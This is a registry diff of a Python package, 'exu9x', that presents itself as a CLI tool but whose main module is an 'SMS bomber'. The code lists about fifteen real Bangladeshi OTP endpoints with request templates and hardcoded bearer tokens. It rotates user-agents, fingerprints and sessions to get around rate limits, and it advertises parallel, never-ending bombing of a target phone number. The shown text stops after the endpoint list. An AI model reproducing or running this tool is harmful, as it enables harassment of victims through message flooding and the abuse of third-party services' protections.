exu9x 0.1.74__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
exu9x-0.1.74/PKG-INFO ADDED
@@ -0,0 +1,18 @@
1
+ Metadata-Version: 2.4
2
+ Name: exu9x
3
+ Version: 0.1.74
4
+ Summary: exu9x CLI tool
5
+ Author: Your Name
6
+ License: MIT
7
+ Requires-Python: >=3.8
8
+ Requires-Dist: requests
9
+ Description-Content-Type: text/markdown
10
+
11
+ # exu
12
+
13
+ CLI tool by [EXU CodeX](https://t.me/exucodex)
14
+
15
+ ## Install
16
+
17
+ ```bash
18
+ pip install exu9x==0.1.74
exu9x-0.1.74/README.md ADDED
@@ -0,0 +1,8 @@
1
+ # exu
2
+
3
+ CLI tool by [EXU CodeX](https://t.me/exucodex)
4
+
5
+ ## Install
6
+
7
+ ```bash
8
+ pip install exu9x==0.1.74
@@ -0,0 +1,2 @@
1
+ """exu - bomber CLI tool."""
2
+ __version__ = "0.1.74"
@@ -0,0 +1,7 @@
1
+ """CLI entry point wrapper."""
2
+
3
+ import runpy
4
+
5
+
6
+ def main():
7
+ runpy.run_module('exu9x.exu9x', run_name='__main__')
@@ -0,0 +1,739 @@
1
+ #!/usr/bin/env python3
2
+ # ═══════════════════════════════════════════════════════════════
3
+ # 𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 - 𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑 𝐔𝐋𝐓𝐈𝐌𝐀𝐓𝐄 𝐄𝐃𝐈𝐓𝐈𝐎𝐍 𝐯𝟕.𝟎
4
+ # 𝐂𝐑𝐄𝐃𝐈𝐓: @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑
5
+ # 𝐓𝐄𝐋𝐄𝐆𝐑𝐀𝐌: https://t.me/EXUCODEX
6
+ # ═══════════════════════════════════════════════════════════════
7
+
8
+ import requests
9
+ import time
10
+ import random
11
+ import hashlib
12
+ import uuid
13
+ import json
14
+ import os
15
+ import sys
16
+ import threading
17
+ import secrets
18
+ from concurrent.futures import ThreadPoolExecutor, as_completed
19
+ from datetime import datetime
20
+ from collections import defaultdict
21
+
22
+ # ═══════════════════════════════════════════════════════════════
23
+ # 𝐂𝐎𝐋𝐎𝐑𝐒
24
+ # ═══════════════════════════════════════════════════════════════
25
+
26
+ 𝐆𝐑𝐄𝐄𝐍 = '\033[92m'
27
+ 𝐑𝐄𝐃 = '\033[91m'
28
+ 𝐘𝐄𝐋𝐋𝐎𝐖 = '\033[93m'
29
+ 𝐁𝐋𝐔𝐄 = '\033[94m'
30
+ 𝐂𝐘𝐀𝐍 = '\033[96m'
31
+ 𝐌𝐀𝐆𝐄𝐍𝐓𝐀 = '\033[95m'
32
+ 𝐖𝐇𝐈𝐓𝐄 = '\033[97m'
33
+ 𝐁𝐎𝐋𝐃 = '\033[1m'
34
+ 𝐃𝐈𝐌 = '\033[2m'
35
+ 𝐑𝐄𝐒𝐄𝐓 = '\033[0m'
36
+
37
+ def 𝐜𝐥𝐞𝐚𝐫_𝐬𝐜𝐫𝐞𝐞𝐧():
38
+ os.system('cls' if os.name == 'nt' else 'clear')
39
+
40
+ def 𝐩𝐫𝐢𝐧𝐭_𝐛𝐚𝐧𝐧𝐞𝐫():
41
+ banner = f"""
42
+ {𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}
43
+ ███████╗██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
44
+ ██╔════╝╚██╗██╔╝██║ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
45
+ █████╗ ╚███╔╝ ██║ ██║██║ ██║ ██║██║ ██║█████╗ ██████╔╝
46
+ ██╔══╝ ██╔██╗ ██║ ██║██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
47
+ ███████╗██╔╝ ██╗╚██████╔╝╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
48
+ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
49
+
50
+ {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}𝐈𝐍𝐅𝐈𝐍𝐈𝐓𝐄 𝐋𝐎𝐎𝐏 𝐄𝐃𝐈𝐓𝐈𝐎𝐍 - 𝟏𝟎𝟎𝐱 𝐒𝐏𝐄𝐄𝐃
51
+ {𝐃𝐈𝐌}⚡ 100 Parallel Requests | 50+ User-Agents | Never Stop ⚡{𝐑𝐄𝐒𝐄𝐓}
52
+ """
53
+ print(banner)
54
+
55
+ def 𝐩𝐫𝐢𝐧𝐭_𝐦𝐞𝐧𝐮():
56
+ menu = f"""
57
+ {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}╭──────────────────────────────────────────╮
58
+ │ 𝐒𝐌𝐒 𝐁𝐎𝐌𝐁𝐄𝐑 - 𝟏𝟎𝟎𝐱 𝐒𝐏𝐄𝐄𝐃 │
59
+ │ @𝐄𝐗𝐔𝐂𝐎𝐃𝐄𝐑 │
60
+ ╰──────────────────────────────────────────╯
61
+
62
+ {𝐆𝐑𝐄𝐄𝐍}{𝐁𝐎𝐋𝐃}𝟏.{𝐑𝐄𝐒𝐄𝐓} 𝐒𝐭𝐚𝐫𝐭 𝐈𝐧𝐟𝐢𝐧𝐢𝐭𝐞 𝐁𝐨𝐦𝐛𝐢𝐧𝐠
63
+ {𝐘𝐄𝐋𝐋𝐎𝐖}{𝐁𝐎𝐋𝐃}𝟐.{𝐑𝐄𝐒𝐄𝐓} 𝐓𝐞𝐬𝐭 𝐀𝐏𝐈𝐬
64
+ {𝐁𝐋𝐔𝐄}{𝐁𝐎𝐋𝐃}𝟑.{𝐑𝐄𝐒𝐄𝐓} 𝐆𝐞𝐧𝐞𝐫𝐚𝐭𝐞 𝐂𝐫𝐞𝐝𝐬
65
+ {𝐂𝐘𝐀𝐍}{𝐁𝐎𝐋𝐃}𝟒.{𝐑𝐄𝐒𝐄𝐓} 𝐀𝐏𝐈 𝐒𝐭𝐚𝐭𝐮𝐬
66
+ {𝐌𝐀𝐆𝐄𝐍𝐓𝐀}{𝐁𝐎𝐋𝐃}𝟓.{𝐑𝐄𝐒𝐄𝐓} 𝐂𝐡𝐚𝐧𝐠𝐞 𝐒𝐩𝐞𝐞𝐝
67
+ {𝐑𝐄𝐃}{𝐁𝐎𝐋𝐃}𝟔.{𝐑𝐄𝐒𝐄𝐓} 𝐄𝐱𝐢𝐭
68
+
69
+ {𝐖𝐇𝐈𝐓𝐄}{𝐁𝐎𝐋𝐃}──────────────────────────────────────────{𝐑𝐄𝐒𝐄𝐓}
70
+ """
71
+ print(menu)
72
+
73
+ # ═══════════════════════════════════════════════════════════════
74
+ # 𝟓𝟎+ 𝐔𝐒𝐄𝐑 𝐀𝐆𝐄𝐍𝐓𝐒 - 𝐂𝐇𝐑𝐎𝐌𝐄 + 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 + 𝐌𝐎𝐑𝐄
75
+ # ═══════════════════════════════════════════════════════════════
76
+
77
+ 𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒 = [
78
+ # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐀𝐧𝐝𝐫𝐨𝐢𝐝) ═══
79
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
80
+ "Mozilla/5.0 (Linux; Android 15; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
81
+ "Mozilla/5.0 (Linux; Android 15; Pixel 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36",
82
+ "Mozilla/5.0 (Linux; Android 14; Xiaomi 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
83
+ "Mozilla/5.0 (Linux; Android 14; OnePlus 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
84
+ "Mozilla/5.0 (Linux; Android 14; Vivo X100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
85
+ "Mozilla/5.0 (Linux; Android 14; Oppo Find X7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36",
86
+ "Mozilla/5.0 (Linux; Android 13; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
87
+ "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
88
+ "Mozilla/5.0 (Linux; Android 13; Realme GT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Mobile Safari/537.36",
89
+
90
+ # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐖𝐢𝐧𝐝𝐨𝐰𝐬) ═══
91
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
92
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
93
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7827.159 Safari/537.36",
94
+ "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
95
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7827.159 Safari/537.36",
96
+
97
+ # ═══ 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 (𝐀𝐧𝐝𝐫𝐨𝐢𝐝) ═══
98
+ "Mozilla/5.0 (Android 15; Mobile; rv:135.0) Gecko/135.0 Firefox/135.0",
99
+ "Mozilla/5.0 (Android 15; Mobile; rv:134.0) Gecko/134.0 Firefox/134.0",
100
+ "Mozilla/5.0 (Android 14; Mobile; rv:133.0) Gecko/133.0 Firefox/133.0",
101
+ "Mozilla/5.0 (Android 14; Mobile; rv:132.0) Gecko/132.0 Firefox/132.0",
102
+ "Mozilla/5.0 (Android 13; Mobile; rv:131.0) Gecko/131.0 Firefox/131.0",
103
+ "Mozilla/5.0 (Android 15; Tablet; rv:135.0) Gecko/135.0 Firefox/135.0",
104
+ "Mozilla/5.0 (Android 14; Tablet; rv:134.0) Gecko/134.0 Firefox/134.0",
105
+
106
+ # ═══ 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 (𝐖𝐢𝐧𝐝𝐨𝐰𝐬) ═══
107
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
108
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
109
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0",
110
+ "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
111
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
112
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
113
+
114
+ # ═══ 𝐈𝐎𝐒 𝐒𝐀𝐅𝐀𝐑𝐈 ═══
115
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
116
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
117
+ "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
118
+ "Mozilla/5.0 (iPad; CPU OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1",
119
+
120
+ # ═══ 𝐎𝐏𝐄𝐑𝐀 ═══
121
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 OPR/85.0.4347.181",
122
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 OPR/104.0.4944.215",
123
+ "Mozilla/5.0 (Android 15; Mobile; rv:135.0) Gecko/135.0 Firefox/135.0 OPR/85.0.4347.181",
124
+
125
+ # ═══ 𝐄𝐃𝐆𝐄 ═══
126
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Edg/131.0.2903.147",
127
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36 Edg/130.0.2849.113",
128
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 EdgA/131.0.2903.147",
129
+
130
+ # ═══ 𝐒𝐀𝐌𝐒𝐔𝐍𝐆 𝐁𝐑𝐎𝐖𝐒𝐄𝐑 ═══
131
+ "Mozilla/5.0 (Linux; Android 15; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/25.0 Chrome/121.0.6167.164 Mobile Safari/537.36",
132
+ "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/120.0.6099.230 Mobile Safari/537.36",
133
+ "Mozilla/5.0 (Linux; Android 13; SM-N986B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/119.0.6045.163 Mobile Safari/537.36",
134
+
135
+ # ═══ 𝐔𝐂 𝐁𝐑𝐎𝐖𝐒𝐄𝐑 ═══
136
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 UCBrowser/15.1.1.123",
137
+ "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36 UCBrowser/15.0.1.100",
138
+
139
+ # ═══ 𝐕𝐈𝐕𝐀𝐋𝐃𝐈 ═══
140
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Vivaldi/6.7.3329.42",
141
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 Vivaldi/6.7.3329.42",
142
+
143
+ # ═══ 𝐁𝐑𝐀𝐕𝐄 ═══
144
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36 Brave/1.69.153",
145
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 Brave/1.69.153",
146
+
147
+ # ═══ 𝐋𝐈𝐍𝐔𝐗 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 ═══
148
+ "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0",
149
+ "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0",
150
+ "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
151
+
152
+ # ═══ 𝐂𝐇𝐑𝐎𝐌𝐄 (𝐋𝐢𝐧𝐮𝐱) ═══
153
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
154
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
155
+
156
+ # ═══ 𝐌𝐀𝐂 𝐅𝐈𝐑𝐄𝐅𝐎𝐗 ═══
157
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0",
158
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0",
159
+
160
+ # ═══ 𝐌𝐀𝐂 𝐂𝐇𝐑𝐎𝐌𝐄 ═══
161
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Safari/537.36",
162
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Safari/537.36",
163
+
164
+ # ═══ 𝐀𝐍𝐃𝐑𝐎𝐈𝐃 𝐖𝐄𝐁𝐕𝐈𝐄𝐖 ═══
165
+ "Mozilla/5.0 (Linux; Android 15; Infinix X6728) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.159 Mobile Safari/537.36 XBrowser/6.2.1",
166
+ "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.7827.159 Mobile Safari/537.36 XBrowser/6.2.0",
167
+ ]
168
+
169
+ def 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚():
170
+ return random.choice(𝐔𝐒𝐄𝐑_𝐀𝐆𝐄𝐍𝐓𝐒)
171
+
172
+ # ═══════════════════════════════════════════════════════════════
173
+ # 𝐒𝐄𝐒𝐒𝐈𝐎𝐍 𝐌𝐀𝐍𝐀𝐆𝐄𝐑
174
+ # ═══════════════════════════════════════════════════════════════
175
+
176
+ class 𝐒𝐞𝐬𝐬𝐢𝐨𝐧𝐌𝐚𝐧𝐚𝐠𝐞𝐫:
177
+ def __init__(self):
178
+ self.sessions = {}
179
+ self.fingerprints = {}
180
+ self.current_ua = 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚()
181
+ self.rate_limited = {}
182
+ self.lock = threading.Lock()
183
+ self.total_rotations = 0
184
+
185
+ def 𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭(self):
186
+ return {
187
+ "fingerprint": hashlib.sha256(f"{uuid.uuid4()}{time.time()}{random.randint(1000, 9999)}".encode()).hexdigest()[:32],
188
+ "guest_id": str(uuid.uuid4()),
189
+ "device_id": hashlib.md5(f"{uuid.uuid4()}{random.randint(1000, 9999)}".encode()).hexdigest(),
190
+ "session_id": secrets.token_hex(16),
191
+ "timestamp": int(time.time() * 1000)
192
+ }
193
+
194
+ def 𝐫𝐨𝐭𝐚𝐭𝐞_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(self, api_name):
195
+ with self.lock:
196
+ self.current_ua = 𝐠𝐞𝐭_𝐫𝐚𝐧𝐝𝐨𝐦_𝐮𝐚()
197
+ if api_name in self.sessions:
198
+ del self.sessions[api_name]
199
+ self.fingerprints[api_name] = self.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
200
+ self.rate_limited[api_name] = time.time()
201
+ self.total_rotations += 1
202
+ return self.𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(api_name)
203
+
204
+ def 𝐠𝐞𝐭_𝐬𝐞𝐬𝐬𝐢𝐨𝐧(self, api_name):
205
+ with self.lock:
206
+ if api_name not in self.sessions:
207
+ session = requests.Session()
208
+ session.headers.update({
209
+ "User-Agent": self.current_ua,
210
+ "Accept": "application/json, text/plain, */*",
211
+ "Accept-Language": "en-US,en;q=0.9",
212
+ "Accept-Encoding": "gzip, deflate, br",
213
+ "Connection": "keep-alive"
214
+ })
215
+ self.sessions[api_name] = session
216
+ if api_name not in self.fingerprints:
217
+ self.fingerprints[api_name] = self.𝐠𝐞𝐧𝐞𝐫𝐚𝐭𝐞_𝐟𝐢𝐧𝐠𝐞𝐫𝐩𝐫𝐢𝐧𝐭()
218
+ return self.sessions[api_name]
219
+
220
+ def 𝐢𝐬_𝐫𝐚𝐭𝐞_𝐥𝐢𝐦𝐢𝐭𝐞𝐝(self, status_code):
221
+ return status_code in [429, 503, 403, 408]
222
+
223
+ # ═══════════════════════════════════════════════════════════════
224
+ # 𝟏𝟓+ 𝐖𝐎𝐑𝐊𝐈𝐍𝐆 𝐀𝐏𝐈𝐒
225
+ # ═══════════════════════════════════════════════════════════════
226
+
227
+ 𝐀𝐏𝐈𝐒 = [
228
+ # ═══ 𝐂𝐎𝐍𝐅𝐈𝐑𝐌𝐄𝐃 𝐖𝐎𝐑𝐊𝐈𝐍𝐆 ═══
229
+ {
230
+ "name": "𝐊𝐚𝐛𝐛𝐢𝐤",
231
+ "url": "https://api.kabbik.com/v1/auth/otpnew2",
232
+ "method": "POST",
233
+ "headers": {
234
+ "Content-Type": "application/json",
235
+ "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMjgyMCIsInJvbGUiOjEsImlhdCI6MTY1NzQ2MjI1fQ.dSY47sipaGTI_OtsysFWw_kaKZKWHWRtp4vklstVgVc",
236
+ "Origin": "https://kabbik.com",
237
+ "Referer": "https://kabbik.com/",
238
+ "X-Requested-With": "com.xbrowser.play"
239
+ },
240
+ "data": '{"msisdn":"88{msisdn}","currentTimeLong":{timestamp},"passKey":"ZviQQrBZroUaFMDP"}'
241
+ },
242
+ {
243
+ "name": "𝐎𝐬𝐭𝐚𝐝",
244
+ "url": "https://api.ostad.app/api/v2/user/with-otp",
245
+ "method": "POST",
246
+ "headers": {
247
+ "Content-Type": "application/json",
248
+ "Accept": "*/*",
249
+ "Origin": "https://ostad.app",
250
+ "Referer": "https://ostad.app/",
251
+ "X-Requested-With": "com.xbrowser.play"
252
+ },
253
+ "data": '{"msisdn":"{msisdn}"}'
254
+ },
255
+ {
256
+ "name": "𝐁𝐃 𝐓𝐢𝐜𝐤𝐞𝐭𝐬",
257
+ "url": "https://apiv1.bdtickets.com/api/v1/auth/otp/send",
258
+ "method": "POST",
259
+ "headers": {
260
+ "Content-Type": "application/json",
261
+ "Accept": "application/json, text/plain, */*",
262
+ "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uX2lkIjoiYTY5Y2E1ZTMtNDZiNy00ZWExLWE3NzEtZjg4YTYzODQ5NjI0IiwiaXNfYW5vbnltb3VzIjp0cnVlLCJ0b2tlbl92ZXJzaW9uIjoxLCJyb2xlcyI6W10sInBlcm1pc3Npb25zIjpbXSwianRpIjoiNTlkNjk5MDUtNjE2ZC00OWM1LWFjNTYtYzZiMWY3OTM4NmI4IiwiaWF0IjoxNzgzMjQ0MzAwLCJleHAiOjE3ODM4NDkxMDB9.qJyAobTFhFenc9EjMnDIJyNPC9Dt7UyPMCqxUEU4wDY",
263
+ "X-Platform": "web",
264
+ "X-Channel": "direct",
265
+ "Origin": "https://bdtickets.com",
266
+ "Referer": "https://bdtickets.com/"
267
+ },
268
+ "data": '{"phone":"+88{msisdn}"}'
269
+ },
270
+ {
271
+ "name": "𝐀𝐩𝐩𝐋𝐢𝐧𝐤",
272
+ "url": "https://applink.com.bd/appstore-v4-server/login/otp/request",
273
+ "method": "POST",
274
+ "headers": {
275
+ "Content-Type": "application/json",
276
+ "Accept": "*/*",
277
+ "X-Requested-With": "com.xbrowser.play",
278
+ "Origin": "https://apps.applink.com.bd",
279
+ "Referer": "https://apps.applink.com.bd/"
280
+ },
281
+ "data": '{"msisdn":"88{msisdn}"}'
282
+ },
283
+ {
284
+ "name": "𝐆𝐚𝐫𝐢𝐁𝐨𝐨𝐤",
285
+ "url": "https://api.garibookadmin.com/api/v4/user/login",
286
+ "method": "POST",
287
+ "headers": {
288
+ "Content-Type": "application/json",
289
+ "Accept": "application/json",
290
+ "Origin": "https://garibook.com",
291
+ "Referer": "https://garibook.com/",
292
+ "X-Requested-With": "mark.via.gp"
293
+ },
294
+ "data": '{"mobile":"+88{msisdn}","recaptcha_token":"03AFcWeA5xYvR6nQ8xYvR6nQ8xYvR6nQ8","channel":"web"}'
295
+ },
296
+ {
297
+ "name": "𝐊𝐢𝐫𝐞𝐢𝐁𝐃",
298
+ "url": "https://frontendapi.kireibd.com/api/v2/send-login-otp",
299
+ "method": "POST",
300
+ "headers": {
301
+ "Content-Type": "application/json",
302
+ "Accept": "application/json, text/plain, */*",
303
+ "Origin": "https://kireibd.com",
304
+ "Referer": "https://kireibd.com/",
305
+ "X-Requested-With": "XMLHttpRequest"
306
+ },
307
+ "data": '{"email":"{msisdn}"}'
308
+ },
309
+ {
310
+ "name": "𝐒𝐡𝐢𝐤𝐡𝐨",
311
+ "url": "https://api.shikho.com/auth/v2/send/sms",
312
+ "method": "POST",
313
+ "headers": {
314
+ "Content-Type": "application/json",
315
+ "Accept": "application/json, text/plain, */*",
316
+ "Origin": "https://shikho.com",
317
+ "Referer": "https://shikho.com/"
318
+ },
319
+ "data": '{"phone":"88{msisdn}","type":"student","auth_type":"signup","vendor":"shikho"}'
320
+ },
321
+ {
322
+ "name": "𝐒𝐡𝐰𝐚𝐩𝐧𝐨",
323
+ "url": "https://www.shwapno.com/api/auth",
324
+ "method": "POST",
325
+ "headers": {
326
+ "Content-Type": "application/json",
327
+ "Accept": "application/json",
328
+ "Referer": "https://www.shwapno.com/",
329
+ "Origin": "https://www.shwapno.com"
330
+ },
331
+ "data": '{"phoneNumber":"+88{msisdn}"}'
332
+ },
333
+ {
334
+ "name": "𝐆𝐏 𝐖𝐞𝐛𝐬𝐢𝐭𝐞",
335
+ "url": "https://webloginda.grameenphone.com/backend/api/v1/otp",
336
+ "method": "POST",
337
+ "headers": {
338
+ "Content-Type": "application/json"
339
+ },
340
+ "data": '{"msisdn":"{msisdn}"}'
341
+ },
342
+ {
343
+ "name": "𝐑𝐨𝐤𝐨𝐦𝐚𝐫𝐢",
344
+ "url": "https://www.rokomari.com/otp/send",
345
+ "method": "POST",
346
+ "headers": {
347
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
348
+ "X-Requested-With": "XMLHttpRequest",
349
+ "Origin": "https://www.rokomari.com",
350
+ "Referer": "https://www.rokomari.com/login",
351
+ "Accept": "*/*"
352
+ },
353
+ "data": "emailOrPhone=88{msisdn}&countryCode=BD"
354
+ },
355
+ {
356
+ "name": "𝐅𝐮𝐧𝐝𝐞𝐬𝐡",
357
+ "url": "https://fundesh.com.bd/api/auth/otp/generate",
358
+ "method": "POST",
359
+ "headers": {
360
+ "Content-Type": "application/json; charset=utf-8",
361
+ "Accept": "application/json, text/plain, */*",
362
+ "X-Requested-With": "com.xbrowser.play",
363
+ "Origin": "https://fundesh.com.bd",
364
+ "Referer": "https://fundesh.com.bd/"
365
+ },
366
+ "data": '{"msisdn":"{msisdn}"}'
367
+ },
368
+ {
369
+ "name": "𝐆𝐚𝐦𝐞𝐇𝐮𝐛",
370
+ "url": "https://developer.portal.gamehubbd.com/api/v1/auth/otp",
371
+ "method": "POST",
372
+ "headers": {
373
+ "Content-Type": "application/x-www-form-urlencoded",
374
+ "Origin": "https://pay.portal.gamehubbd.com",
375
+ "Referer": "https://pay.portal.gamehubbd.com/",
376
+ "X-Requested-With": "com.xbrowser.play"
377
+ },
378
+ "data": "phone={msisdn}&game_slug=LEGENDARY&timestamp={timestamp}&digest={digest}"
379
+ },
380
+ {
381
+ "name": "𝐂𝐡𝐨𝐫𝐤𝐢",
382
+ "url": "https://api-dynamic.chorki.com/v2/auth/login?country=BD&platform=web&language=en",
383
+ "method": "POST",
384
+ "headers": {
385
+ "Content-Type": "application/json",
386
+ "Accept": "application/json"
387
+ },
388
+ "data": '{"number":"+88{msisdn}"}'
389
+ },
390
+ {
391
+ "name": "𝐁𝐢𝐨𝐬𝐜𝐨𝐩𝐞",
392
+ "url": "https://api-dynamic.bioscopelive.com/v2/auth/login?country=BD&platform=web&language=en",
393
+ "method": "POST",
394
+ "headers": {
395
+ "Content-Type": "application/json",
396
+ "Accept": "application/json"
397
+ },
398
+ "data": '{"number":"+88{msisdn}"}'
399
+ },
400
+ {
401
+ "name": "𝐃𝐞𝐞𝐩𝐓𝐨𝐏𝐥𝐚𝐲",
402
+ "url": "https://api.deeptoplay.com/v2/auth/login?country=BD&platform=web&language=en",
403
+ "method": "POST",
404
+ "headers": {
405
+ "Content-Type": "application/json",
406
+ "Accept": "application/json"
407
+ },
408
+ "data": '{"number":"+88{msisdn}"}'
409
+ }
410
+ ]
411
+
412
+ # ═══════════════════════════════════════════════════════════════
413
